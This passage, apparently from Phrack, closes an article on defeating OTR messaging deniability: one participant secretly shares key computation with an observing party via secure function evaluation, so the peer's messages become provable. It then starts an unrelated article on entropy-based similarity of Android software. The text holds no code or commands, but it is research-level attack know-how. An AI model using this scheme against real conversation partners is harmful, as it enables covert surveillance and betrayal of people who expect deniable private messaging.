Instead of submitting her messages to the police, she will just disclose her private DSA key to her lawyer. Then, during her conversation with Bob, she will use her lawyer as a proxy (i.e. she will let *him* do the crypto). This way the lawyer can be sure that the conversation is authentic. The judges will trust Alice's lawyer in court (at least they'll trust him more than they trust Alice), so her problem is solved. Alice's setup would look like this:

+‑‑‑‑‑‑‑+

| Alice |

+‑‑‑‑‑‑‑+

^

| Non‑OTR (maybe SSL)

v

+‑‑‑‑‑‑‑‑‑‑‑‑+

| Lawyer | trust +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Speaks for | <‑‑‑‑‑‑‑‑‑> | Police / Court |

| Alice | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑+

^

| OTR (Bob thinks he talks to Alice)

v

+‑‑‑‑‑‑‑+

| Bob |

+‑‑‑‑‑‑‑+

But now Alice realizes that she doesn't trust her lawyer enough to give him her private DSA key: He could misuse it to impersonate her. Also, Alice doubts that her lawyer's words would be trusted enough in court.

This example shows the problems that Alice has when she wants to break the deniability of OTR. Her problems can be summarized as follows (we'll now call the police the "observing party" and the lawyer will be called "trusted third party"):

a) The observing party needs to sniff the network traffic. That implies quite a privileged network position, as the traffic needs to be sniffed passively, i.e. without the help of A or B. Because if A or B would send their traffic to the observing party, A or B might just insert bogus messages into their "sniff" stream and the observing party couldn't be sure about the authenticity. Even worse, paranoid A and B could use an anonymizing network, so that sniffing their traffic would be a non‑trivial task.

b) Also, the authenticity of a message can only be proven to the observing party, but not to anybody else (as anybody else didn't sniff the traffic and the observing party could just have cut some pieces or inserted new ones).

Problem b) is not that much of importance. Just imagine the observing party as the police, the judges or even Fnord. You should always assume that the observing party is exactly the guys you wanna protect yourself against. If you think that the police probably won't even get all the crypto stuff and therefore just believe any plaintext logfile you show them, that's OK (you're probably right). There might however be agencies that would not really trust plaintext logs. And those agencies might be very interested in the contents of some OTR conversations.

Problem a) remains open. Obviously, neither A nor B really trust the observing party. If we had a trusted third party, we actually could mount an attack against OTR's deniability, just as described in the lawyer example above. Well, lucky us, neither A, nor B, nor the observing party trust anybody and therefore, there will be no trusted third party ;)

Really? Interestingly, a trusted third party can be emulated using secure function evaluation. This is what we didn't tell in the section above: You can view a secure function evaluation scheme as a replacement for a trusted third party. So instead of letting a third party compute some function f(x, y), A and B can perform the computation on their own and still get the same result: both players only receive f(x, y) but A doesn't see y and B doesn't see x. So the main idea of our attack is: Emulate a trusted third party using secure function evaluation. The setup that Alice now plans is the following:

+‑‑‑‑‑‑‑+

| Alice |<‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑+ |

^ |

| | SFE Voodoo for emulating the lawyer | |

| v

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | Police / Court |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| OTR

|

v

+‑‑‑‑‑‑‑+

| Bob |

+‑‑‑‑‑‑‑+

Our central idea is the following: A can send all the messages she received from B to the observing party (the police in the figure above, but that could really be everyone). The messages are still encrypted, so this is not a problem. To make sure that the messages are not faked by A, we need to make sure that A cannot produce valid MACs without the help of the observing party. We therefore share the MAC key between A and the observing party. Every time, A wants to validate or produce a MAC, she has to cooperate with the observing party. Later on, A can reveal the encryption key for any message to the observing party, which can be sure that the message is authentic.

In the following section (4.1 ‑ 4.3), we will provide a high‑level overview of the attack. In section 4.4, you can find the actual protocol that Alice and the observing party use.

‑‑‑‑‑‑[ 4.1 ‑ Sharing Diffie‑Hellman Keys

OTR uses Diffie‑Hellman to establish sort‑lived MAC and encryption keys. The first part of our exercise is therefore to build a Diffie‑Hellman compatible 3‑party protocol that allows for sharing the generated key between two parties. The following protocol between Alice (A), Bob (B) and the observing party (O) works:

O ‑‑‑‑‑ g^o ‑‑‑‑> A ‑‑‑‑ (g^o)^a ‑‑‑‑> B

O <‑‑‑‑ g^a ‑‑‑‑ A

A <‑‑‑ g^b ‑‑‑‑ B

All computations are done modulo some prime p and g is a generator of a sufficiently large subgroup of Z_p*, just as Diffie‑Hellman mandates. B will now compute g^oab as key. However, neither A nor O can reproduce that key. If A wanted to compute it, she would need to know O's secret exponent o. Similar for O. We can therefore say that the key k is shared between O and A, in the sense that A and O need to cooperate in order to actually use it.

‑‑‑‑‑‑[ 4.2 ‑ Generating MAC and Encryption Keys

Now that we have established a shared Diffie‑Hellman key, we need to securely derive the MAC and encryption keys from it. Let's assume we have a circuit C, which takes the shared Diffie‑Hellman key k as input and returns the corresponding MAC and encryption keys as output. This circuit follows immediately from the OTR specification. Before we can evaluate the circuit, we first need to compute k (which neither A nor O know at this time). So the overall function that A and O want to compute is:

f(a, o) = C(((g^b)^a)^o mod p)

We can transform this function to a new circuit and evaluate it together (i.e. A and O evaluate the circuit). After the evaluation, A could get the encryption keys. But that's not a good idea, because the OTR spec mandates that MAC_key = hash(encryption_key). If A knew the encryption key, she could compute the according MAC key. Also, it would be bad if O would get the MAC keys, because then O could impersonate A and B. Therefore, we'll slightly modify the circuit, so that A may pick a random bit string, which the circuit XORs to the MAC key and to the encryption key (assuming the random string is long enough for both keys). The "blinded" MAC and encryption keys are then provided to A and O, the bitmask remains in A's memory. If they want to use one of the keys for something, they will evaluate a circuit that first XORs both halves together and then does the actual computation using the key. At no point in time, A or O actually learn the MAC or the encryption key.

Now that we know how to generate all the symmetric key material, we are able to perform the full initial key exchange phase of OTR.

‑‑‑‑‑‑[ 4.3 ‑ Sending and Receiving Messages

When A receives a message from B, she cannot immediately decrypt it because she doesn't know the decryption key. Also, verifying and sending messages needs O's cooperation.

1) Message Decryption

If A wants to decrypt one of B's messages, she cooperates with O. Both parties will jointly evaluate a decryption circuit. The circuit will be built in such a way that only Alice will learn the result (i.e. Alice will again provide a random bitstring as input the the circuit, which is XORed to the result).

2) Message Verification

If A wants to verify one of B's messages, she has to cooperate with O. A and O will jointly evaluate some sort of HMAC circuit, in order to find out whether a message is authentic or not. We can design the message verification function in such a way that O will immediately learn the encrypted message and the MAC verification result. This enables A to afterwards reveal the encryption key for a particular message, so that O will be convinced A didn't fake it.

3) Message Creation

When A wants to create a message, she encrypts it together with O, just as described in 1). In order to compute a MAC for the message, A and O again cooperate. As each message has to contain a new Diffie‑Hellman public key, A and O will jointly compute such a key using the scheme outlined above.

‑‑‑‑‑‑[ 4.4 ‑ The Final Protocol

In this section we'll describe our final protocol. It offers the following features:

* We have three parties: A, B and O. A and O cooperate to backstab B. B is not able to deny any of his messages towards O.

* O will not learn any message plaintext, unless A explicitly tells O the respective keys.

* O is not able to impersonate neither A nor B.

* No trust relation between A and O is required.

* A does not have to disclose a whole conversation to O; it is possible to only disclose selected messages.

* B does not notice that A and O cooperate.

‑‑‑‑‑‑‑‑‑[ 4.4.1 ‑ Initial Key‑Exchange

This section describes OTR's authenticated key‑exchange (AKE). Bob starts the key exchange by picking a random r and x and sending AES_r(g^x), HASH(g^x) to Alice. That's the regular OTR protocol. Alice then does a Diffie‑Hellman key‑exchange with O as outlined in section 4.1. We assume that A and O communicate over a secure channel.

O A <‑‑‑‑‑‑‑‑ AES_r(g^x), HASH(g^x) ‑‑‑‑‑ B O <‑‑‑‑‑‑‑ g^a ‑‑‑‑‑‑‑‑‑‑‑‑‑ A

O ‑‑‑‑‑‑‑‑ g^o ‑‑‑‑‑‑‑‑‑‑‑‑> A

Now Alice sends her Diffie‑Hellman public key to Bob. Note that she doesn't know the private exponent of the key: she knows only a and g^ao, but neither ao nor o.

A ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ g^ao ‑‑‑‑‑‑‑‑‑‑‑‑> B

Bob has already computed the common key k (which Alice can't do) and uses it to derive encryption keys c and c' and MAC keys m1, m1', m2, m2' (see the OTR specs [2] for details) by hashing k in various ways. Bob builds the following messages:

M_B = MAC_m1(g^x, g^ao, pub_B, keyid_B)

X_B = pub_B, keyid_B, sig_B(M_B)

Where pub_B is Bob's public DSA key and keyid_B is an identifier for Bob's Diffie‑Hellman proposal g^x. sig_B is created using Bob's DSA key. Using the already derived symmetric keys, he sends AES_c(X_B),MAC_m2(AES_c(X_B)) over to Alice.

A <‑ r, AES_c(X_B),MAC_m2(AES_c(X_B)) ‑ B

Alice is now supposed to also derive all the symmetric keys and to use them to decrypt and verify the stuff that Bob sent. But Alice cannot do that, so she cooperates with O. O sends her a garbled circuit C1, which will compute

C1(o, a, mask) = (c, c') XOR mask

Alice randomly chooses mask, so only she will learn c and c'. In a number of oblivious transfers, Alice receives the keys for her input values from O.

O ‑‑‑‑‑‑‑‑‑ C1 ‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑ A |

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A | Compute c, c' using SFE. Only A

. | receives the values.

. |

. /

O <‑‑‑‑‑ eval(C1) ‑‑‑‑‑‑‑‑‑‑ A /

O ‑‑‑ (c,c') XOR mask ‑‑‑‑‑> A/

Now Alice is finally able to decrypt the stuff that Bob sent her. She does so and gets X_B. Currently, she is not able to verify the MAC_m2() value Bob sent ‑ she'll do that later. First she sends sig_B(M_B) over to O.

O <‑‑‑‑‑‑‑ sig_B(M_B) ‑‑‑‑‑‑ A

In order to actually verify sig_B(M_B), A and O first need to compute M_B. As described above, M_B = MAC_m1(g^x, g^ao, pub_B, keyid_B). In order to compute that MAC, both parties again need to cooperate. O creates a circuit C2, which computes:

C2(o, a, pub_B, keyid_B) = MAC_m1(g^x, g^ao, pub_B, keyid_B)

Alice again uses oblivious transfers to obtain the keys for her secret input value a, evaluates the circuit and both parties obtain the result M_B.

O ‑‑‑‑‑‑‑‑‑ C2 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A |

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A | Compute M_B using SFE. A and O

. | receive the value.

. |

. /

O <‑‑‑‑‑ eval(C2) ‑‑‑‑‑‑‑‑‑‑‑‑ A /

O ‑‑‑‑‑‑‑‑ M_B ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> A/

Now that both have computed M_B, they first check the signature sig_B(M_B), just as the OTR protocol mandates. If A and O are convinced that sig_B(M_B) is OK, they can verify the MAC_m2(...) that B sent earlier. Again, they perform some SFE voodoo to do that. The observing party prepares a circuit C3, which computes:

C3(o, a, AES_c(X_B)) = MAC_m2'(AES_c(X_B))

A again uses oblivious transfers to obtain the keys for her input values and the result is shared between both parties.

O ‑‑‑‑‑‑‑‑‑ C3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A |

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A | Compute MAC_m2'(AES_c(X_B)) using

. | SFE. Both receive the result.

. |

. /

O <‑‑‑‑‑ eval(C3) ‑‑‑‑‑‑‑‑‑‑‑‑ A /

O ‑‑‑‑‑‑‑‑‑ MAC ‑‑‑‑‑‑‑‑‑‑‑‑‑> A/

Now A and O are convinced that the key exchange with B succeeded. But they still need to convince B that everything is OK. In particular, OTR mandates that A should compute

M_A = MAC_m1'(g^ao, g^x, pub_A, keyid_A)

X_A = pub_A, keyid_A, sig_A(M_A)

and then send AES_c'(X_A), MAC_m2'(AES_c'(X_A)) over to B. Computing the AES part can be done by A, because A knows the key c'. But for computing the MAC, A and O again need to cooperate. First, A sends AES_c'(X_A) over to O. Then O prepares a circuit C4, which computes:

C4(o, a, AES_c'(X_A)) = MAC_m2'(AES_c'(X_A))

Using oblivious transfers, Alice obtains the keys for her inputs from O. After evaluating the circuit, A and O obtain MAC_m2'(AES_c'(X_A)).

O <‑‑‑‑‑ AES_c'(X_A) ‑‑‑‑‑‑‑‑ A\

O ‑‑‑‑‑‑‑‑‑ C4 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> A \

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A |

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A | Compute MAC_m2'(AES_c'(X_A)). Both O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A | parties receive the value.

. |

. /

O <‑‑‑‑‑ eval(C4) ‑‑‑‑‑‑‑‑‑‑‑‑ A /

O ‑‑ MAC_m2'(AES_c'(X_A)) ‑‑‑> A/

That's it. A can now send all the required values to B.

‑ AES_c'(X_A), MAC_m2'(AES_c'(X_A)) ‑> B

B verifies all the stuff (just like A did but without the SFE) and the key exchange is done.

‑‑‑‑‑‑‑‑‑[ 4.4.2 ‑ Message Exchange

Once they have exchanged their initial key material, Alice and Bob can exchange actual messages. Suppose, Alice wants to send a message to Bob; we'll restrict ourselves to that scenario. Receiving messages works similar.

Alice now does the following (from the OTR protocol spec [2]): Picks the most recent of her own Diffie‑Hellman encryption keys that Bob has acknowledged receiving (by using it in a Data Message, or failing that, in the AKE). Let key_A be that key, and let keyid_A be its serial number.

If the above key is Alice's most recent key, she generates a new Diffie‑Hellman key (next_dh), to get the serial number keyid_A+1.

To do this, Alice again needs to cooperate with the observing party. The steps are exactly the same as we have already seen in the initial key‑exchange:

O <‑‑‑‑‑‑‑ g^a ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A

O ‑‑‑‑‑‑‑‑ g^o ‑‑‑‑‑‑‑‑‑‑‑‑‑> A

Alice now uses g^ao as next_dh. When she computed next_dh, Alice picks the most recent of Bob's Diffie‑Hellman encryption keys that she has received from him (either in a Data Message or in the AKE). Let key_B be that key, and let keyid_B be its serial number.

Now Alice would actually need to use Diffie‑Hellman to compute a fresh shared key with Bob, which she can use to derive the encryption and MAC key. But as she doesn't really know the private exponent (she knows g^ao, a and g^a, but not ao), she again needs to cooperate with O. So here we go:

O prepares a circuit C1:

C1(o, a, mask) = (ek, mk) XOR mask

The circuit will compute both, ek and mk (the encryption and MAC keys), blinded with some value chosen by Alice. The result will be supplied only to the observing party. Alice will keep the value of mask. In a number of oblivious transfers, Alice receives the keys for her input values from O.

O ‑‑‑‑‑‑‑‑‑ C1 ‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑ A |

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A | Compute (ek, mk) XOR mask using SFE.

. | Only O receives the result.

. |

. /

O <‑‑‑‑‑ eval(C1) ‑‑‑‑‑‑‑‑‑‑ A /

Alice now picks a value ctr, so that (key_A, key_B, ctr) is unique. The ctr value is needed, because AES is going to be used in counter mode to encrypt Alice's payload. The next step for Alice is to encrypt her message. As she doesn't know the encryption key, O prepares a circuit C2 for her:

C2(ek_o, ek_a, ctr, msg) = AES‑CTR_ek,ctr(msg)

The inputs ek_o and ek_a denote O's and A's knowledge about ek, which is ek XOR mask in O's case and mask in A's case. The result of the circuit will only be provided to A (i.e. A just doesn't send it over to O). In a number of oblivious transfers, Alice receives the keys for her input values from O.

O ‑‑‑‑‑‑‑‑‑ C2 ‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑ A |

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑> A | Encrypt msg using SFE. Only A

. | receives the result.

. /

. /

Now Alice can compute:

T_A = (keyid_A, keyid_B, next_dh, ctr, AES‑CTR_ek,ctr(msg))

T_A already contains Alice's message, but she still needs to MAC it. This is again done by A and O together. O prepares a circuit C3:

C3(mk_o, mk_a, T_A) = MAC_mk(T_A)

O ‑‑‑‑‑‑‑‑‑ C3 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> A\

\

O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A \

O <‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A | Compute MAC_mk(T_A). Both O ‑‑‑‑‑‑‑‑ <OT> ‑‑‑‑‑‑‑‑‑‑‑‑‑> A | parties receive the value.

. |

. /

O <‑‑‑‑‑ eval(C3) ‑‑‑‑‑‑‑‑‑‑‑ A /

O ‑‑‑‑‑ MAC_mk(T_A) ‑‑‑‑‑‑‑‑> A/

Please be aware that Alice will keep T_A secret. Although T_A doesn't contain any plaintext, Alice does not want to disclose it to the observing party. If she did, then her own deniability would also be gone. Also, the OTR protocol mandates that Alice should send her old MAC keys in plaintext to Bob, so that they can be considered public. If A and O wanted to, they could do that (by computing the old MAC key again and sharing the result). But as long as Bob doesn't check what Alice sent, she can just send garbage. Indeed, in its current version (libotr 3.2.0), the OTR implementation doesn't check the disclosed MAC keys. Consider the excerpt from proto.c, line 657:

‑‑‑ snip ‑‑‑

/* Just skip over the revealed MAC keys, which we don't need. They

* were published for deniability of transcripts. */

bufp += reveallen; lenp ‑= reveallen;

‑‑‑ snap ‑‑‑

So Alice can safely send:

A ‑T_A,MAC_mk(T_A),oldmackeys=foobar‑> B

‑‑‑‑‑‑[ 4.5 ‑ What's Left

We have seen that in a scenario where at least one party cooperates with the attacker, deniability is non‑trivial. Our construction can be extended and adopted and we conjecture that it quite generally applies to deniable messaging protocols.

Regarding performance: Yeah, we know that all the SFE voodoo can be quite expensive. Especially modular exponentiation in circuits is not really cheap. However, there are ways to optimize the basic scheme we have outlined here. If you're interested in that, you might wanna read [5] as an introduction. Also, refer to section 4.5.2, which outlines one particular optimization of our Diffie‑Hellman‑scheme. Regarding network latency: When looking at all the crypto protocols outlined in this article (especially at oblivious transfers), you will notice that often multiple messages need to be exchanged. If you need 3 messages for one oblivious transfer and you want to perform 128 oblivious transfers (for some 128‑bit crypto key or so), then you end up with 384 messages being exchanged. In terms of network latency, that might be troublesome. However, there are two things that help us: first, we can perform oblivious transfers in parallel (i.e. still exchange three messages but every message now contains data for 128 oblivious transfers). We can also precompute many values and exchange them before they are really needed (random values for instance).

‑‑‑‑‑‑‑‑‑[ 4.5.1 ‑ FAQ

Q: This is all bullshit! I could just share my private keys with the police, and that would also kill deniability!

Yep. And the police would then be able to impersonate you. One of our key points is that you don't need to trust the observing party, neither need they to trust you.

A: But the observing party won't be able to prove anything in court!

Well, yes and no. In a constitutional state you'd need to actually prove stuff in court. Unfortunately, such states are rare. But even if you live in such a state, then the observing party could be the judge.

Q: But all the conversations that I had before my peer cooperated with the observing party are deniable, right?

A: Yes, unless the observing party sniffed your traffic (if you used a decent anonymizer, this is unlikely).

Q: Wait, the observing party so far only learned that *somebody* has sent a message. But how do they know it was the person that I tell them it was?

Good question. This knowledge is generated during the initial key exchange of OTR. To be precise, the observing party and the backstabber both learn the identity of the conversation peer when he signs his key‑exchange proposal with his DSA key. The observing party also sees that and as they track all subsequent key‑exchanges, they can build a "chain of evidence".

Q: But doesn't [4] already kill the deniability of OTR?

A: Ha, even better question! At least it attacks the strong deniability of OTR. However, our scheme also attacks the weak deniability. Furthermore, the attacker in [4] has far more capabilities than in our model. In [4], the attacker is able to arbitrarily read and modify network traffic. In our model, the attacker can rely on the cooperation with one of the two conversation partners.

Q: OK, I'm convinced. Is there any implementation?

A: You're welcome to build one ;) See section 4.5.2 for details.

‑‑‑‑‑‑‑‑‑[ 4.5.2 ‑ How to Implement?

If you want to implement the scheme outlined above, first of all, you need some framework for secure function evaluation. There are a number of implementations out there, for instance Fairplay [6] or TASTY [5]. Once you got your SFE framework running, you need to implement all the functions that need to be computed jointly. The Diffie‑Hellman stuff is probably most efficient when implemented using a homomorphic cryptosystem (such as RSA or ElGamal maybe). Now you may ask: how does a multiplicatively homomorphic scheme help us computing DH keys? Well. There's some nice optimization, which basically reduces the modular exponentiation to a modular multiplication:

Alice picks some random j and sends g^(ab+bj) over to the observing party. The observing party sends g^o.

A <‑‑‑‑ g^b ‑‑‑‑‑‑‑‑‑‑‑‑ B

O <‑‑‑‑‑‑ g^(ab+j) ‑‑‑‑‑‑ A

O ‑‑‑‑‑‑‑‑ g^o ‑‑‑‑‑‑‑‑‑> A

Note that Bob cannot compute g^abo, because Alice's value is "blinded" with j. Alice cannot do so neither; she doesn't know o. Bob however can compute g^(abo+jo). Alice can compute g^jo and also g^‑jo, because she knows j. If Alice would send g^‑jo to O, then O could compute

g^(abo+jo) * g^‑jo = g^abo

This is only one modular multiplication. So instead of doing a whole modular exponentiation, the circuit that Alice and the observing party jointly compute does roughly the following:

C(o, a) = derive_keys(o*a)

Where the function derive_keys() is the OTR key derivation function (hashing the common key in different ways to generate symmetric key material), O's input value will look like g^(abo+jo) and A's input value will look like g^‑jo.

All the symmetric operations (hashes and block ciphers) should probably be implemented as circuits, for instance using Fairplay. Both SFE schemes (circuits and homomorphic crypto) can be combined using the TASTY approach.

‑‑[ 5 ‑ References

[1] http://www‑ee.stanford.edu/~hellman/publications/24.pdf

[2] http://www.cypherpunks.ca/otr/Protocol‑v2‑3.0.0.html

[3] http://eprint.iacr.org/2004/175.pdf

[4] http://www.jbonneau.com/OTR_analysis.pdf

[5] http://eprint.iacr.org/2010/365.pdf

[6] http://www.pinkas.net/PAPERS/MNPS.pdf

[7] http://tinyurl.com/84z7wpu

‑‑[ 6 ‑ Greetingz

First of all I have to give a big shout to bruhns, who developed this stuff together with me! There's this one person, which I'd like to say thanks for everything (and that's quite a lot). Unfortunately, i cannot name this person here. 291646a6d004d800b1bc61ba945c9cb46422f8ac. Also a big thanks to Phrack staff for reading through all this and supplying me with real helpful feedback!

Greetingz go out to the following awesome people in no particular order: ths, fabs, joern, nowin, trapflag, jenny, twice#11

Similarities for Fun and Profit

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0f of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Similarities for Fun & Profit ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Pouik (Androguard Team) and G0rfi3ld ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ d@t0t0.fr / g0rfi3ld@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1/ Introduction

1.1 Complexity of a sequence

1.2 Histograms and classical Shannon Entropy

1.3 From the Classical Entropy towards Descriptional Entropy 1.4 Normalized Compression Distance (NCD)

2/ Similarities

2.1 Between two sets of elements

2.2 In a set of elements

3/ Real World: Android

3.1 Similarities between two applications

3.2 Differences between two applications

3.3 Looking for a signature in applications

4/ Conclusion

5/ References

6/ Code

‑‑[ 1 ‑ Introduction

How can we verify that two numerical objects are identical? It's easy, you just have to compare all characters, one by one. But how can we say that two numerical objects are "similar" but not identical?

Can we define a measure of "similarity", which will give ipso facto a measure of "dissimilarity"?

But what are these numerical files that we want to analyze or compare? It could be anything, from pictures to numerical data files. We will focus in this work on goodware and malware, (a goodware is not a malware :). So, if the numerical objects are software, can we define a measure of similarity and how? And why? We will see this.

Our problem can be simply defined as: How can we choose quickly, from a set M of known software files {m1, ..., mn}, with n >= 1, the subset of the files of M that are the "most similar" to a target A? And how can we find quickly interesting differences without using a direct approach like graph isomorphism [21, 25] between two similar but different applications?

We will show you how we can use a filtering tactic to select the best (i.e. the "most similar" to a target A) files out of the malware set M. We propose the use of two different tactics, using the entropy as a first filtering tactic to filter the set M and the Normalized Compression Distance (NCD) for a second filtering tactic. We also propose a new entropy which is a simple generalization of the classical Shannon entropy. We call this entropy the "descriptional entropy", which to the authors knowledge, is presented here for the first time.

While the tools that we present here are truly generic, i.e. they can be used with any files, we will give some examples through the analysis and comparison of Android applications.

‑‑‑‑[ 1.1 Complexity of a sequence

We want to compare DNA sequences [24], music files or pictures [20]. We need a notion of the "complexity" of a sequence, to be able to compare them, to sort them or to index them. But what is a complex sequence or how do we define a complex sequence? There are lots of situations where we need a tool to answer. To be more exact, we need a computable measure of the complexity of a sequence, to index for example a set of files. The sequence can be the bytes of a picture, a DNA sequence, a source code or an executable file; in other words, whatever can be stored in a file. In this paper, we will say sequence, for any sequence of ASCII characters.

So, can we define the "complexity" of a sequence? Let us give a toy example, we consider the four sequences:

‑ S1 = "aaabbb"

‑ S2 = "ababab"

‑ S3 = "bbbaaa"

‑ S4 = "abbaab"

Intuition tells us that:

‑ S1 and S3 are more similar than S1 and S2 or S2 and S3. ‑ S1 is more "simple" than S2.

‑ S1, S2 and S3 are more "simple" than S4.

It is easy to see that S1 is the reverse of S3, so it could be interesting for any function Comp() defined as a measure of the complexity of a sequence to verify that Comp(S1) = Comp(S3).

‑‑‑‑[ 1.2 Histograms and classical Shannon Entropy

Let S be a sequence of characters, with an "alphabet" of n different symbols (generally characters). Let pi be the computed probability of occurrence of each of the n character in S, we will call the histogram vector Hist = {p1, ..., pn} and then the classical Shannon entropy of the sequence S is defined by:

n

__

\

H(S)= ‑ / pi log(pi)

|__

i=1

(where log(x) is the logarithmic function in base 10).

In our toy example, S1 = "aaabbb", S2 = "ababba" and S3 = "bbbaaa", the alphabet is {"a", "b"}. They have a same histogram vector entropy:

Hist(S1) = Hist(S2) = Hist(S3) = {1/2, 1/2}

which will give the same entropy:

H(S1) = H(S2) = H(S3) = 1.

If we use the classical Shannon entropy H(), the equation holds as H(S1) = H(S3). However we also have H(S1) = H(S2) which contradicts 'S1 is more simple than S2'. So the function is not suitable.

Let's see another problem with the classical Shannon entropy: if S is a sequence of characters with S...S a concatenation of S and H() the Shannon entropy, then we have H(S) = H(SS) = H(SSS) = H(S...S). This is not really good for our purposes!

We will see that we can do better with a generalization of the Shannon entropy which we will call "Descriptional Entropy".

‑‑‑‑[ 1.3 From the Classical Shannon Entropy towards the Descriptional Entropy

A lot of ways to measure the complexity of a sequence have been proposed. For example, the Lempel‑Ziv complexity [29,30] is defined as the number of different subsequences (patterns) in a sequence when we apply the LZ algorithm.

The sequence complexity, or the complexity index, of a sequence S = s1...sn is defined as the number of different subsequences in S [31,32].

In all cases we obtain a number which is difficult to use, or we have to take the histogram vector. But to compare two histogram vectors of unequal size is not easy. We propose here a new approach.

Given a complexity measure based on the count of different subsequences, and if we have N different subsequences, we can compute the histogram vector Hist(S) = {P1, ..., PN} for this set, with P1+...PN=1 of course. So now we can compute the entropy of this histogram vector; we propose to call this entropy the "Descriptional Entropy" of a sequence:

N

__

\

Hd(Hist(S))= ‑ / Pi log(Pi)

|__

i=1

To simplify we will write Hd(S) for Hd(Hist(S)). From now we will use the log2(x) function, i.e. the log base 2 function.

Let us show it with the toy example, again, S1 = "aaabbb", S2 = "ababba", S3 = "bbbaaa" and S4 = "abbaab". If we choose to count all different subsequences we will have (to simplify we neglect the "empty" sequence which is used sometimes):

(1) For S1 = "aaabbb": the subsequence set is (in alphabetical order)

{a,aa,aaa,aaab,aaabb,aaabbb,aab,aabb,aabbb,ab,abb,abbb,b,bb,bbb}

and the histogram vector: Hist(S1)={1/7,2/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21, 1/7,2/21,1/21}.

If we sort it we have: {1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,2/21,2/21, 1/7,1/7}

and so the descriptional entropy will be (remember: we use the base 2 logarithmic function log2(x)):

Hd(S1) = ‑ ( 1/21 log2(1/21) x 11 + 2/21 log2(2/21) x 2 + 1/7 log2(1/7) x 2 )

Hd(S1) = 11/21 log2(21) + 4/21 log2(21/2) + 2/7 log2(7) Hd(S1) = 11/21 log2(21) + 4/21 log2(21) ‑ 4/21 log2(2) + 2/7 log2(7) Hd(S1) = 5/7 log2(21) ‑ 4/21 log2(2) + 2/7 log2(7)

which gives:

Hd(S1) = 3.74899

(2) For S2 = "ababab": the subsequence set is (in alphabetical order):

{a,ab,aba,abab,ababa,ababab,b,ba,bab,baba,babab}

and the histogram vector:

Hist(S2)= {1/7,1/7,2/21,2/21,1/21,1/21,1/7,2/21,2/21,1/21,1/21}

If we sort it we have: {1/21,1/21,1/21,1/21,2/21,2/21,2/21,2/21,1/7,1/7,1/7}

and the descriptional entropy will be:

Hd(S2) = 3 log2(7) / 7 + 8 log2(21/2) / 21 + 4 log2(21) / 21

which gives:

Hd(S2) = 3.3321

(3) For S3 = "bbbaaa": the subsequence set is (in alphabetical order)

